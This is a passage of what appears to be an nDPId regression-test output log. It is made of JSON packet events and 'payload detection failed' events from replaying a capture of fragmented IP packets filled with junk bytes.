+00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":411,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":412,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2904,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxEAGRO0KAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":412,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":413,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2915,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxkAGROsKAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":413,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":414,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2926,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgyEAGROkKAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":414,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":415,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2938,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgykAGROcKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":415,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":416,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2950,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzEAGROUKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":416,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":417,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2961,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzkAGROMKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":417,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":418,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2974,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0EAGROEKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":418,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":419,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2986,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0kAGRN8KAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":419,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":420,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2998,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1EAGRN0KAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":420,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":421,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3009,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1kAGRNsKAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":421,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":422,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3021,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2EAGRNkKAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":422,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":423,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3034,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2kAGRNcKAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":423,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":424,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3046,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3EAGRNUKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":424,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":425,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3059,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3kAGRNMKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":425,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":426,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3071,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4EAGRNEKAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":426,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":427,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3082,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4kAGRM8KAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":427,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":428,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3094,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5EAGRM0KAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":428,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":429,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3105,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5kAGRMsKAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":429,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":430,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3117,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6EAGRMkKAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":430,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":431,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3130,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6kAGRMcKAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":431,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":432,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3147,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7EAGRMUKAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":432,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":433,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3159,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7kAGRMMKAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":433,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":434,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3170,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8EAGRMEKAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":434,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":435,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3212,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8kAGRL8KAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":435,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":436,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3225,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9EAGRL0KAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":436,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":437,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3237,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9kAGRLsKAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":437,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":438,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3269,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+EAGRLkKAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":438,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":439,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3308,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+kAGRLcKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":439,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":440,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3315,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/EAGRLUKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":440,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":441,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3322,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/kAGRLMKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":441,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":442,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3329,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAEAGRLEKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":442,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":443,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3336,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAkAGRK8KAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":443,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":444,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3343,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBEAGRK0KAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":444,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":445,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3349,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBkAGRKsKAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":445,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":446,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3356,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCEAGRKkKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":446,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":447,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3363,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCkAGRKcKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":447,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":448,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3370,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDEAGRKUKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":448,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":449,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3376,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDkAGRKMKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":449,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":450,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3383,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEEAGRKEKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":450,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":451,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3390,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEkAGRJ8KAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":451,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":452,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3397,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFEAGRJ0KAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":452,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":453,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":3421,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFkAGRJsKAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":453,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 